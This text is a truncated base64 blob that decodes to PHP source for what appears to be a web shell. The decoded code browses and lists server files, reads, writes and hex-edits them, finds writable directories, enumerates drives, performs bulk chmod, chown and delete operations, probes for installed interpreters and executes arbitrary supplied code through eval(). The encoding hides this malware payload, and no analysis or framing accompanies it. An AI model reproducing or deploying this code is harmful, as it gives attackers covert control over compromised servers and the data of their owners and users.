oY29weSgkc291cmNlLiRmLCAkdGFyZ2V0LiRmKSkgJGMrKzsgfSB9IH0gY2xvc2VkaXIoJGRoKTsgfSByZXR1cm4gJGM7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfYWxsX2ZpbGVzJykpeyBmdW5jdGlvbiBnZXRfYWxsX2ZpbGVzKCRwYXRoKXsgJHBhdGggPSByZWFscGF0aCgkcGF0aCkuRElSRUNUT1JZX1NFUEFSQVRPUjsgJGZpbGVzID0gZ2xvYigkcGF0aC4nKicpOyBmb3IoJGkgPSAwOyAkaTxjb3VudCgkZmlsZXMpOyAkaSsrKXsgaWYoaXNfZGlyKCRmaWxlc1skaV0pKXsgJHN1YmRpciA9IGdsb2IoJGZpbGVzWyRpXS5ESVJFQ1RPUllfU0VQQVJBVE9SLicqJyk7IGlmKGlzX2FycmF5KCRmaWxlcykgJiYgaXNfYXJyYXkoJHN1YmRpcikpICRmaWxlcyA9IGFycmF5X21lcmdlKCRmaWxlcywgJHN1YmRpcik7IH0gfSByZXR1cm4gJGZpbGVzOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygncmVhZF9maWxlJykpeyBmdW5jdGlvbiByZWFkX2ZpbGUoJGZpbGUpeyAkY29udGVudCA9IGZhbHNlOyBpZigkZmggPSBAZm9wZW4oJGZpbGUsICJyYiIpKXsgJGNvbnRlbnQgPSAiIjsgd2hpbGUoIWZlb2YoJGZoKSl7ICRjb250ZW50IC49IGZyZWFkKCRmaCwgODE5Mik7IH0gfSByZXR1cm4gJGNvbnRlbnQ7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCd3cml0ZV9maWxlJykpeyBmdW5jdGlvbiB3cml0ZV9maWxlKCRmaWxlLCAkY29udGVudCl7IGlmKCRmaCA9IEBmb3BlbigkZmlsZSwgIndiIikpeyBpZihmd3JpdGUoJGZoLCAkY29udGVudCkhPT1mYWxzZSkgcmV0dXJuIHRydWU7IH0gcmV0dXJuIGZhbHNlOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygndmlld19maWxlJykpeyBmdW5jdGlvbiB2aWV3X2ZpbGUoJGZpbGUsICR0eXBlLCAkcHJlc2VydmVUaW1lc3RhbXA9J3RydWUnKXsgJG91dHB1dCA9ICIiOyBpZihpc19maWxlKCRmaWxlKSl7ICRkaXIgPSBkaXJuYW1lKCRmaWxlKTsgJG93bmVyID0gIiI7IGlmKCFpc193aW4oKSl7ICRvd25lciA9ICI8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii5nZXRfZmlsZW93bmVyKCRmaWxlKS4iPC90ZD48L3RyPiI7IH0gJGltYWdlX2luZm8gPSBAZ2V0aW1hZ2VzaXplKCRmaWxlKTsgJG1pbWVfbGlzdCA9IGdldF9yZXNvdXJjZSgnbWltZScpOyAkbWltZSA9ICIiOyAkZmlsZV9leHRfcG9zID0gc3RycnBvcygkZmlsZSwgIi4iKTsgaWYoJGZpbGVfZXh0X3BvcyE9PWZhbHNlKXsgJGZpbGVfZXh0ID0gdHJpbShzdWJzdHIoJGZpbGUsICRmaWxlX2V4dF9wb3MpLCIuIik7IGlmKHByZWdfbWF0Y2goIi8oW15cc10rKVwgLipcYiIuJGZpbGVfZXh0LiJcYi4qL2kiLCAkbWltZV9saXN0LCAkcmVzKSl7ICRtaW1lID0gJHJlc1sxXTsgfSB9IGlmKCR0eXBlPT0iYXV0byIpeyBpZihpc19hcnJheSgkaW1hZ2VfaW5mbykpICR0eXBlID0gJ2ltYWdlJzsgZWxzZWlmKCFlbXB0eSgkbWltZSkpICR0eXBlID0gIm11bHRpbWVkaWEiOyBlbHNlICR0eXBlID0gInJhdyI7IH0gJGNvbnRlbnQgPSAiIjsgaWYoJHR5cGU9PSJjb2RlIil7ICRobF9hcnIgPSBhcnJheSggImhsX2RlZmF1bHQiPT4gaW5pX2dldCgnaGlnaGxpZ2h0LmRlZmF1bHQnKSwgImhsX2tleXdvcmQiPT4gaW5pX2dldCgnaGlnaGxpZ2h0LmtleXdvcmQnKSwgImhsX3N0cmluZyI9PiBpbmlfZ2V0KCdoaWdobGlnaHQuc3RyaW5nJyksICJobF9odG1sIj0+IGluaV9nZXQoJ2hpZ2hsaWdodC5odG1sJyksICJobF9jb21tZW50Ij0+IGluaV9nZXQoJ2hpZ2hsaWdodC5jb21tZW50JykgKTsgJGNvbnRlbnQgPSBoaWdobGlnaHRfc3RyaW5nKHJlYWRfZmlsZSgkZmlsZSksdHJ1ZSk7IGZvcmVhY2goJGhsX2FyciBhcyAkaz0+JHYpeyAkY29udGVudCA9IHN0cl9yZXBsYWNlKCI8Zm9udCBjb2xvcj1cIiIuJHYuIlwiPiIsICI8Zm9udCBjbGFzcz0nIi4kay4iJz4iLCAkY29udGVudCk7ICRjb250ZW50ID0gc3RyX3JlcGxhY2UoIjxzcGFuIHN0eWxlPVwiY29sb3I6ICIuJHYuIlwiPiIsICI8c3BhbiBjbGFzcz0nIi4kay4iJz4iLCAkY29udGVudCk7IH0gfSBlbHNlaWYoJHR5cGU9PSJpbWFnZSIpeyAkd2lkdGggPSAoaW50KSAkaW1hZ2VfaW5mb1swXTsgJGhlaWdodCA9IChpbnQpICRpbWFnZV9pbmZvWzFdOyAkaW1hZ2VfaW5mb19oID0gIkltYWdlIHR5cGUgPSA8c3BhbiBjbGFzcz0nc3Ryb25nJz4oPC9zcGFuPiAiLiRpbWFnZV9pbmZvWydtaW1lJ10uIiA8c3BhbiBjbGFzcz0nc3Ryb25nJz4pPC9zcGFuPjxicj4gSW1hZ2UgU2l6ZSA9IDxzcGFuIGNsYXNzPSdzdHJvbmcnPiggPC9zcGFuPiIuJHdpZHRoLiIgeCAiLiRoZWlnaHQuIjxzcGFuIGNsYXNzPSdzdHJvbmcnPiApPC9zcGFuPjxicj4iOyBpZigkd2lkdGggPiA4MDApeyAkd2lkdGggPSA4MDA7ICRpbWdsaW5rID0gIjxwPjxhIGlkPSd2aWV3RnVsbHNpemUnPiA8c3BhbiBjbGFzcz0nc3Ryb25nJz5bIDwvc3Bhbj5WaWV3IEZ1bGwgU2l6ZTxzcGFuIGNsYXNzPSdzdHJvbmcnPiBdPC9zcGFuPjwvYT48L3A+IjsgfSBlbHNlICRpbWdsaW5rID0gIiI7ICRjb250ZW50ID0gIjxjZW50ZXI+Ii4kaW1hZ2VfaW5mb19oLiI8YnI+Ii4kaW1nbGluay4iIDxpbWcgaWQ9J3ZpZXdJbWFnZScgc3R5bGU9J3dpZHRoOiIuJHdpZHRoLiJweDsnIHNyYz0nZGF0YToiLiRpbWFnZV9pbmZvWydtaW1lJ10uIjtiYXNlNjQsIi5iYXNlNjRfZW5jb2RlKHJlYWRfZmlsZSgkZmlsZSkpLiInIGFsdD0nIi4kZmlsZS4iJz48L2NlbnRlcj4gIjsgfSBlbHNlaWYoJHR5cGU9PSJtdWx0aW1lZGlhIil7ICRjb250ZW50ID0gIjxjZW50ZXI+IDx2aWRlbyBjb250cm9scz4gPHNvdXJjZSBzcmM9JycgdHlwZT0nIi4kbWltZS4iJz4gPC92aWRlbz4gPHA+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm11bHRpbWVkaWEoJyIuaHRtbF9zYWZlKGFkZHNsYXNoZXMoJGZpbGUpKS4iJyk7XCI+TG9hZCBNdWx0aW1lZGlhIEZpbGU8L3NwYW4+PC9wPiA8L2NlbnRlcj4iOyB9IGVsc2VpZigkdHlwZT09ImVkaXQiKXsgJHByZXNlcnZlY2JveCA9ICgkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJyk/ICIgY0JveFNlbGVjdGVkIjoiIjsgJGNvbnRlbnQgPSAiPHRhYmxlIGlkPSdlZGl0VGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZWRpdEZpbGVuYW1lJyBjbGFzcz0nY29sU3BhbicgdmFsdWU9JyIuaHRtbF9zYWZlKCRmaWxlKS4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZWRpdF9zYXZlX3JhdycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJlZGl0X3NhdmVfcmF3KCk7XCI+c2F2ZTwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0ndmVydGljYWwtYWxpZ246bWlkZGxlOyc+PGRpdiBjbGFzcz0nY0JveCIuJHByZXNlcnZlY2JveC4iJz48L2Rpdj48c3Bhbj5wcmVzZXJ2ZSBtb2RpZmljYXRpb24gdGltZXN0YW1wPC9zcGFuPjxzcGFuIGlkPSdlZGl0UmVzdWx0Jz48L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdlZGl0SW5wdXQnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2N0cmxfZW50ZXIodGhpcywgZXZlbnQsICdlZGl0X3NhdmVfcmF3Jyk7XCI+Ii5odG1sX3NhZmUocmVhZF9maWxlKCRmaWxlKSkuIjwvdGV4dGFyZWE+PC90ZD48L3RyPjwvdGFibGU+IjsgfSBlbHNlaWYoJHR5cGU9PSJoZXgiKXsgJHByZXNlcnZlY2JveCA9ICgkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJyk/ICIgY0JveFNlbGVjdGVkIjoiIjsgJGNvbnRlbnQgPSAiPHRhYmxlIGlkPSdlZGl0VGJsJz48dHI+PHRkIGNvbHNwYW49JzInPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZWRpdEZpbGVuYW1lJyBjbGFzcz0nY29sU3BhbicgdmFsdWU9JyIuaHRtbF9zYWZlKCRmaWxlKS4iJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZWRpdF9zYXZlX2hleCcpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJlZGl0X3NhdmVfaGV4KCk7XCI+c2F2ZTwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0ndmVydGljYWwtYWxpZ246bWlkZGxlOyc+PGRpdiBjbGFzcz0nY0JveCIuJHByZXNlcnZlY2JveC4iJz48L2Rpdj48c3Bhbj5wcmVzZXJ2ZSBtb2RpZmljYXRpb24gdGltZXN0YW1wPC9zcGFuPjxzcGFuIGlkPSdlZGl0SGV4UmVzdWx0Jz48L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMic+PHRleHRhcmVhIGlkPSdlZGl0SW5wdXQnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2N0cmxfZW50ZXIodGhpcywgZXZlbnQsICdlZGl0X3NhdmVfaGV4Jyk7XCI+Ii5iaW4yaGV4KHJlYWRfZmlsZSgkZmlsZSkpLiI8L3RleHRhcmVhPjwvdGQ+PC90cj48L3RhYmxlPiI7IH0gZWxzZSAkY29udGVudCA9ICI8cHJlPiIuaHRtbF9zYWZlKHJlYWRfZmlsZSgkZmlsZSkpLiI8L3ByZT4iOyAkb3V0cHV0IC49ICIgPHRhYmxlIGlkPSd2aWV3RmlsZScgY2xhc3M9J2JveHRibCc+IDx0cj48dGQgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+RmlsZW5hbWU8L3RkPjx0ZD4iLmh0bWxfc2FmZSgkZmlsZSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5TaXplPC90ZD48dGQ+Ii5nZXRfZmlsZXNpemUoJGZpbGUpLiIgKCIuZmlsZXNpemUoJGZpbGUpLiIpPC90ZD48L3RyPiAiLiRvd25lci4iIDx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X2ZpbGVwZXJtcygkZmlsZSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiIuQGRhdGUoImQtTS1ZIEg6aTpzIixmaWxlY3RpbWUoJGZpbGUpKS4iPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgbW9kaWZpZWQ8L3RkPjx0ZD4iLkBkYXRlKCJkLU0tWSBIOmk6cyIsZmlsZW10aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5MYXN0IGFjY2Vzc2VkPC90ZD48dGQ+Ii5AZGF0ZSgiZC1NLVkgSDppOnMiLGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+IDx0ciBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRmaWxlKS4iJz48dGQgY29sc3Bhbj0nMic+IDxzcGFuIGNsYXNzPSduYXZpZ2F0ZSBidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnPmV4cGxvcmVyPC9zcGFuPiA8c3BhbiBjbGFzcz0nYWN0aW9uIGJ1dHRvbicgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+YWN0aW9uPC9zcGFuPiA8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAncmF3Jyk7aGlkZV9ib3goKTtcIj5yYXc8L3NwYW4+IDxzcGFuIGNsYXNzPSdidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnIG9uY2xpY2s9XCJ2aWV3KCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicsICdjb2RlJyk7aGlkZV9ib3goKTtcIj5jb2RlPC9zcGFuPiA8c3BhbiBjbGFzcz0nYnV0dG9uJyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBvbmNsaWNrPVwidmlldygnIi5odG1sX3NhZmUoYWRkc2xhc2hlcygkZmlsZSkpLiInLCAnaGV4Jyk7aGlkZV9ib3goKTtcIj5oZXg8L3NwYW4+IDxzcGFuIGNsYXNzPSdidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnIG9uY2xpY2s9XCJ2aWV3KCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicsICdpbWFnZScpO2hpZGVfYm94KCk7XCI+aW1hZ2U8L3NwYW4+IDxzcGFuIGNsYXNzPSdidXR0b24nIHN0eWxlPSd3aWR0aDoxMjBweDsnIG9uY2xpY2s9XCJ2aWV3KCciLmh0bWxfc2FmZShhZGRzbGFzaGVzKCRmaWxlKSkuIicsICdtdWx0aW1lZGlhJyk7aGlkZV9ib3goKTtcIj5tdWx0aW1lZGlhPC9zcGFuPiA8L3RkPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0nMic+PGRpdiBpZD0ndmlld0ZpbGVjb250ZW50Jz4iLiRjb250ZW50LiI8L2Rpdj48L3RkPjwvdHI+IDwvdGFibGU+IjsgfSBlbHNlICRvdXRwdXQgPSAiZXJyb3IiOyByZXR1cm4gJG91dHB1dDsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF93cml0YWJsZWRpcicpKXsgZnVuY3Rpb24gZ2V0X3dyaXRhYmxlZGlyKCl7IGlmKGlzX3dyaXRhYmxlKCIuIikpIHJldHVybiByZWFscGF0aCgiLiIpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IGVsc2V7IGZvcmVhY2goYXJyYXkoJ1RNUCcsICdURU1QJywgJ1RNUERJUicpIGFzICRrKXsgaWYoIWVtcHR5KCRfRU5WWyRrXSkpeyBpZihpc193cml0YWJsZSgkX0VOVlska10pKSByZXR1cm4gcmVhbHBhdGgoJF9FTlZbJGtdKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyB9IH0gaWYoZnVuY3Rpb25fZXhpc3RzKCJzeXNfZ2V0X3RlbXBfZGlyIikpeyAkZGlyID0gc3lzX2dldF90ZW1wX2RpcigpOyBpZihpc193cml0YWJsZSgkZGlyKSkgcmV0dXJuIHJlYWxwYXRoKCRkaXIpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IH0gZWxzZXsgaWYoIWlzX3dpbigpKXsgaWYoaXNfd3JpdGFibGUoIi90bXAiKSkgcmV0dXJuICIvdG1wLyI7IH0gfSAkdGVtcGZpbGUgPSB0ZW1wbmFtKF9fRklMRV9fLCcnKTsgaWYoZmlsZV9leGlzdHMoJHRlbXBmaWxlKSl7ICRkaXIgPSByZWFscGF0aChkaXJuYW1lKCR0ZW1wZmlsZSkpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IHVubGluaygkdGVtcGZpbGUpOyByZXR1cm4gJGRpcjsgfSB9IHJldHVybiBmYWxzZTsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9kcml2ZXMnKSl7IGZ1bmN0aW9uIGdldF9kcml2ZXMoKXsgJGRyaXZlcyA9ICIiOyAkdiA9IGV4cGxvZGUoIlxcIiwgZ2V0X2N3ZCgpKTsgJHYgPSAkdlswXTsgZm9yZWFjaCAocmFuZ2UoIkEiLCAiWiIpIGFzICRsZXR0ZXIpeyBpZihAaXNfcmVhZGFibGUoJGxldHRlci4iOlxcIikpeyAkZHJpdmVzIC49ICI8YSBjbGFzcz0nbmF2YmFyJyBkYXRhLXBhdGg9JyIuJGxldHRlci4iOlxcJz5bICI7IGlmKCRsZXR0ZXIuIjoiICE9ICR2KSAkZHJpdmVzIC49ICRsZXR0ZXI7IGVsc2V7JGRyaXZlcyAuPSAiPHNwYW4gY2xhc3M9J2RyaXZlLWxldHRlcic+Ii4kbGV0dGVyLiI8L3NwYW4+Ijt9ICRkcml2ZXMgLj0gIiBdPC9hPiAiOyB9IH0gcmV0dXJuICRkcml2ZXM7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdzaG93X2FsbF9maWxlcycpKXsgZnVuY3Rpb24gc2hvd19hbGxfZmlsZXMoJHBhdGgpeyBpZighaXNfZGlyKCRwYXRoKSkgcmV0dXJuICJObyBzdWNoIGRpcmVjdG9yeSA6ICIuJHBhdGg7IGNoZGlyKCRwYXRoKTsgJG91dHB1dCA9ICIiOyAkYWxsZmlsZXMgPSAkYWxsZm9sZGVycyA9IGFycmF5KCk7IGlmKCRyZXMgPSBvcGVuZGlyKCRwYXRoKSl7IHdoaWxlKCRmaWxlID0gcmVhZGRpcigkcmVzKSl7IGlmKCgkZmlsZSE9Jy4nKSYmKCRmaWxlIT0iLi4iKSl7IGlmKGlzX2RpcigkZmlsZSkpICRhbGxmb2xkZXJzW10gPSAkZmlsZTsgZWxzZWlmKGlzX2ZpbGUoJGZpbGUpKSRhbGxmaWxlc1tdID0gJGZpbGU7IH0gfSB9IGFycmF5X3Vuc2hpZnQoJGFsbGZvbGRlcnMsICIuIik7ICRjdXIgPSBnZXRjd2QoKTsgY2hkaXIoIi4uIik7IGlmKGdldGN3ZCgpIT0kY3VyKSBhcnJheV91bnNoaWZ0KCRhbGxmb2xkZXJzLCAiLi4iKTsgY2hkaXIoJGN1cik7IG5hdGNhc2Vzb3J0KCRhbGxmb2xkZXJzKTsgbmF0Y2FzZXNvcnQoJGFsbGZpbGVzKTsgJGNvbHMgPSBhcnJheSgpOyBpZihpc193aW4oKSl7ICRjb2xzID0gYXJyYXkoICJwZXJtcyI9PiJnZXRfZmlsZXBlcm1zIiwgIm1vZGlmaWVkIj0+ImdldF9maWxlbXRpbWUiICk7IH0gZWxzZXsgJGNvbHMgPSBhcnJheSggIm93bmVyIj0+ImdldF9maWxlb3duZXIiLCAicGVybXMiPT4iZ2V0X2ZpbGVwZXJtcyIsICJtb2RpZmllZCI9PiJnZXRfZmlsZW10aW1lIiApOyB9ICR0b3RhbEZpbGVzID0gY291bnQoJGFsbGZpbGVzKTsgJHRvdGFsRm9sZGVycyA9IDA7ICRvdXRwdXQgLj0gIjx0YWJsZSBpZD0neHBsVGFibGUnIGNsYXNzPSdkYXRhVmlldyBzb3J0YWJsZSc+PHRoZWFkPiI7ICRvdXRwdXQgLj0gIjx0cj48dGggY2xhc3M9J2NvbC1jYm94IHNvcnR0YWJsZV9ub3NvcnQnPjxkaXYgY2xhc3M9J2NCb3hBbGwnPjwvZGl2PjwvdGg+PHRoIGNsYXNzPSdjb2wtbmFtZSc+bmFtZTwvdGg+PHRoIGNsYXNzPSdjb2wtc2l6ZSc+c2l6ZTwvdGg+IjsgZm9yZWFjaCgkY29scyBhcyAkaz0+JHYpeyAkb3V0cHV0IC49ICI8dGggY2xhc3M9J2NvbC0iLiRrLiInPiIuJGsuIjwvdGg+IjsgfSAkb3V0cHV0IC49ICI8L3RyPjwvdGhlYWQ+PHRib2R5PiI7IGZvcmVhY2goJGFsbGZvbGRlcnMgYXMgJGQpeyAkY2JveEV4Y2VwdGlvbiA9ICIiOyBpZigoJGQ9PSIuIil8fCgkZD09Ii4uIikpeyAkYWN0aW9uID0gImFjdGlvbmRvdCI7ICRjYm94RXhjZXB0aW9uID0gIiBjQm94RXhjZXB0aW9uIjsgfSBlbHNleyAkYWN0aW9uID0gImFjdGlvbmZvbGRlciI7ICR0b3RhbEZvbGRlcnMrKzsgfSAkb3V0cHV0IC49ICIgPHRyIGRhdGEtcGF0aD1cIiIuaHRtbF9zYWZlKHJlYWxwYXRoKCRkKS5ESVJFQ1RPUllfU0VQQVJBVE9SKS4iXCI+PHRkPjxkaXYgY2xhc3M9J2NCb3giLiRjYm94RXhjZXB0aW9uLiInPjwvZGl2PjwvdGQ+IDx0ZCBzdHlsZT0nd2hpdGUtc3BhY2U6bm9ybWFsOyc+PGEgY2xhc3M9J25hdmlnYXRlJz5bICIuaHRtbF9zYWZlKCRkKS4iIF08L2E+PHNwYW4gY2xhc3M9JyIuJGFjdGlvbi4iIGZsb2F0UmlnaHQnPmFjdGlvbjwvc3Bhbj48L3RkPiA8dGQ+RElSPC90ZD4iOyBmb3JlYWNoKCRjb2xzIGFzICRrPT4kdil7ICRzb3J0YWJsZSA9ICIiOyBpZigkaz09J21vZGlmaWVkJykgJHNvcnRhYmxlID0gIiB0aXRsZT0nIi5maWxlbXRpbWUoJGQpLiInIjsgJG91dHB1dCAuPSAiPHRkIi4kc29ydGFibGUuIj4iLiR2KCRkKS4iPC90ZD4iOyB9ICRvdXRwdXQgLj0gIjwvdHI+IjsgfSBmb3JlYWNoKCRhbGxmaWxlcyBhcyAkZil7ICRvdXRwdXQgLj0gIiA8dHIgZGF0YS1wYXRoPVwiIi5odG1sX3NhZmUocmVhbHBhdGgoJGYpKS4iXCI+PHRkPjxkaXYgY2xhc3M9J2NCb3gnPjwvZGl2PjwvdGQ+IDx0ZCBzdHlsZT0nd2hpdGUtc3BhY2U6bm9ybWFsOyc+PGEgY2xhc3M9J3ZpZXcnPiIuaHRtbF9zYWZlKCRmKS4iPC9hPjxzcGFuIGNsYXNzPSdhY3Rpb24gZmxvYXRSaWdodCc+YWN0aW9uPC9zcGFuPjwvdGQ+IDx0ZCB0aXRsZT0nIi5maWxlc2l6ZSgkZikuIic+Ii5nZXRfZmlsZXNpemUoJGYpLiI8L3RkPiI7IGZvcmVhY2goJGNvbHMgYXMgJGs9PiR2KXsgJHNvcnRhYmxlID0gIiI7IGlmKCRrPT0nbW9kaWZpZWQnKSAkc29ydGFibGUgPSAiIHRpdGxlPSciLmZpbGVtdGltZSgkZikuIiciOyAkb3V0cHV0IC49ICI8dGQiLiRzb3J0YWJsZS4iPiIuJHYoJGYpLiI8L3RkPiI7IH0gJG91dHB1dCAuPSAiPC90cj4iOyB9ICRvdXRwdXQgLj0gIjwvdGJvZHk+PHRmb290PiI7ICRjb2xzcGFuID0gMSArIGNvdW50KCRjb2xzKTsgJG91dHB1dCAuPSAiPHRyPjx0ZD48ZGl2IGNsYXNzPSdjQm94QWxsJz48L2Rpdj48L3RkPjx0ZD4gPHNlbGVjdCBpZD0nbWFzc0FjdGlvbicgY2xhc3M9J2NvbFNwYW4nPiA8b3B0aW9uIGRpc2FibGVkIHNlbGVjdGVkPkFjdGlvbjwvb3B0aW9uPiA8b3B0aW9uPmN1dDwvb3B0aW9uPiA8b3B0aW9uPmNvcHk8L29wdGlvbj4gPG9wdGlvbj5wYXN0ZTwvb3B0aW9uPiA8b3B0aW9uPmRlbGV0ZTwvb3B0aW9uPiA8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPiA8b3B0aW9uPmNobW9kPC9vcHRpb24+IDxvcHRpb24+Y2hvd248L29wdGlvbj4gPG9wdGlvbj50b3VjaDwvb3B0aW9uPiA8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPiA8b3B0aW9uPmV4dHJhY3QgKHRhcik8L29wdGlvbj4gPG9wdGlvbj5leHRyYWN0ICh0YXIuZ3opPC9vcHRpb24+IDxvcHRpb24+ZXh0cmFjdCAoemlwKTwvb3B0aW9uPiA8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPiA8b3B0aW9uPmNvbXByZXNzICh0YXIpPC9vcHRpb24+IDxvcHRpb24+Y29tcHJlc3MgKHRhci5neik8L29wdGlvbj4gPG9wdGlvbj5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiA8b3B0aW9uIGRpc2FibGVkPi0tLS0tLS0tLS0tLTwvb3B0aW9uPiA8L3NlbGVjdD4gPC90ZD48dGQgY29sc3Bhbj0nIi4kY29sc3Bhbi4iJz48L3RkPjwvdHI+IDx0cj48dGQ+PC90ZD48dGQgY29sc3Bhbj0nIi4rKyRjb2xzcGFuLiInPiIuJHRvdGFsRmlsZXMuIiBmaWxlKHMpLCAiLiR0b3RhbEZvbGRlcnMuIiBGb2xkZXIocyk8c3BhbiBjbGFzcz0neHBsU2VsZWN0ZWQnPjwvc3Bhbj48L3RkPjwvdHI+ICI7ICRvdXRwdXQgLj0gIjwvdGZvb3Q+PC90YWJsZT4iOyByZXR1cm4gJG91dHB1dDsgfQp9IGlmKCFmdW5jdGlvbl9leGlzdHMoJ2V2YWxfZ2V0X3N1cHBvcnRlZCcpKXsgZnVuY3Rpb24gZXZhbF9nZXRfc3VwcG9ydGVkKCl7ICRldmFsX3N1cHBvcnRlZCA9IGFycmF5KCk7ICRldmFsX3N1cHBvcnRlZFtdID0gInBocCI7ICRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgicHl0aG9uIC1oIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gInB5dGhvbiI7ICRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgicGVybCAtaCIpKTsgaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJwZXJsIjsgJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJydWJ5IC1oIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gInJ1YnkiOyAkY2hlY2sgPSBzdHJ0b2xvd2VyKGV4ZWN1dGUoIm5vZGUgLWgiKSk7IGlmKHN0cnBvcygkY2hlY2ssInVzYWdlIikhPT1mYWxzZSkgJGV2YWxfc3VwcG9ydGVkW10gPSAibm9kZSI7IGVsc2V7ICRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgibm9kZWpzIC1oIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gIm5vZGVqcyI7IH0gJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJnY2MgLS1oZWxwIikpOyBpZihzdHJwb3MoJGNoZWNrLCJ1c2FnZSIpIT09ZmFsc2UpICRldmFsX3N1cHBvcnRlZFtdID0gImdjYyI7ICRjaGVjayA9IHN0cnRvbG93ZXIoZXhlY3V0ZSgiamF2YSAtaGVscCIpKTsgaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKXsgJGNoZWNrID0gc3RydG9sb3dlcihleGVjdXRlKCJqYXZhYyAtaGVscCIpKTsgaWYoc3RycG9zKCRjaGVjaywidXNhZ2UiKSE9PWZhbHNlKSAkZXZhbF9zdXBwb3J0ZWRbXSA9ICJqYXZhIjsgfSByZXR1cm4gaW1wbG9kZSgiLCIsICRldmFsX3N1cHBvcnRlZCk7IH0KfSBpZighZnVuY3Rpb25fZXhpc3RzKCdldmFsX2dvJykpeyBmdW5jdGlvbiBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxDb2RlLCAkZXZhbE9wdGlvbnMsICRldmFsQXJndW1lbnRzKXsgJHJlcyA9ICIiOyAkb3V0cHV0ID0gIiI7IGlmKCRldmFsT3B0aW9ucyE9IiIpICRldmFsT3B0aW9ucyA9ICRldmFsT3B0aW9ucy4iICI7IGlmKCRldmFsQXJndW1lbnRzIT0iIikgJGV2YWxBcmd1bWVudHMgPSAiICIuJGV2YWxBcmd1bWVudHM7IGlmKCRldmFsVHlwZT09InBocCIpeyBvYl9zdGFydCgpOyBldmFsKCRldmFsQ29kZSk7ICRyZXMgPSBvYl9nZXRfY29udGVudHMoKTsgb2JfZW5kX2NsZWFuKCk7IHJldHVybiAkcmVzOyB9IGVsc2VpZigoJGV2YWxUeXBlPT0icHl0aG9uIil8fCgkZXZhbFR5cGU9PSJwZXJsIil8fCgkZXZhbFR5cGU9PSJydWJ5Iil8fCgkZXZhbFR5cGU9PSJub2RlIil8fCgkZXZhbFR5cGU9PSJub2R